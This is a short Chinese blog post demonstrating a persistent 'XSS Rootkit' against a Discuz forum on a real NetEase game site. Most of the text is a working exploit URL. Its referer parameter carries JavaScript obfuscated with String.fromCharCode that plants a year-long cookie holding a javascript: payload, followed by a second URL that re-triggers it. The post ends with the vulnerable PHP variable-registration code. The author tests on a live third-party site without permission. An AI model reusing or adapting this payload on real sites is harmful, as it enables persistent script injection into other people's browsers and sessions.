今天发了深掘XSS漏洞场景之XSS Rootkit：http://www.2cto.com/Article/201110/107620.html

不过感觉还是不过瘾，不丢点实战的东西，别人容易看不懂，所以抽个网站来实战测试一番。

我拿一个DISCUZ的非持久型XSS测试，IE8会拦截，所以需要关闭XSS筛选器才能成功，另外用了网易的网站测试，请网易的同学多包涵。

1.第一步访问下面的URL来安装XSS Rootkit。(复制粘贴URL访问，百度过滤了URL中的关键字)

http://bbs.game.163.com/logging.php?action=logout&referer=javascript:eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,106,97,118,97,115,99,114,105,112,116,58,97,108,101,114,116,40,47,120,115,115,47,41,39,59,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,114,101,102,101,114,101,114,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,32,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))&formhash=rootkit

2.关闭浏览器，重新访问下面的URL，可以事先看到效果。

http://bbs.game.163.com/logging.php?action=logout&formhash=testvul

3.由于DISCUZ注册变量的顺序是CPG，不能影响已经GET注册了的变量，同时在登录状态下点退出，将使用有效的formhash，该处referer取的是已初始化的变量，这个XSS漏洞将失效，所以我们的XSS Rootkit实战还是打了点折扣，但是其他的WEB程序呢 ：）

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
 foreach($$_request as $_key => $_value) {
  $_key{0} != '_' && $$_key = daddslashes($_value);
 }
}
